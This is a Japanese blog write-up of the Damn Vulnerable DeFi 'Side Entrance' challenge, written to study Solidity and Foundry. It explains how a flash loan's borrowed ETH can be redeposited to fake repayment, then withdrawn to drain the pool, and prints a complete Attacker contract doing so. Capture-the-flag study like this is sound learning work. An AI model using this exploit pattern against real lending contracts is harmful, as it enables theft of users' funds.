banner
zach

zach

github
twitter
medium

ダム・バルナラブル・デフィ | サイドエントランス

チャレンジ #4 - サイドエントランス#

Solidity と Foundry のシステム学習のために、Foundry テストフレームワークを使用して damnvulnerable-defi の解答を再作成しました。交流や共同開発にご参加ください〜🎉

コントラクト#

  • SideEntranceLenderPool:deposit と withdraw メソッドを提供し、フラッシュローンをサポートします。

スクリプト#

  • SideEntranceLenderPool コントラクトをデプロイする
  • プールに ETH 数 ETHER_IN_POOL をデポジットする
  • 攻撃スクリプトを実行する
  • プールの残高が 0 であり、プレイヤーの残高が ETHER_IN_POOL よりも大きいことを期待する

解答#

この問題の攻略ポイントは、deposit+withdraw です。まず、フラッシュローンを使用して ETH を取得し、その後 deposit を呼び出して証明書を取得し、最後にフラッシュローンを終了して ETH を引き出すことができます。全体のフローチャートは以下のようになります:

image

  • pool の flashLoan メソッドを呼び出すと、IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();が呼び出されます。したがって、攻撃コントラクトではexecuteメソッドを実装する必要があります。このメソッドは、deposit を実行してフラッシュローンの返済を完了し、デポジット証明書を追加で記録します。
  • プレイヤーは、withdraw メソッドを呼び出してプールから対応する ETH を引き出し、すべてをプレイヤーに移動して攻撃を完了します。

コントラクトのコードは以下の通りです:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "../../src/side-entrance/SideEntranceLenderPool.sol";

contract Attacker {

    SideEntranceLenderPool pool;
    address owner;
    constructor(address _pool){
        pool = SideEntranceLenderPool(_pool);
        owner = msg.sender;
    }
    
    receive() external payable {
        payable(owner).transfer(msg.value);
    }

    function attack(uint256 amount) external payable{
        pool.flashLoan(amount);
    }

    function execute() external payable{
        uint256 value = msg.value;
        // deposit
        pool.deposit{value: value}();
    }

    function withdraw() external{
        pool.withdraw();
    }
}
読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。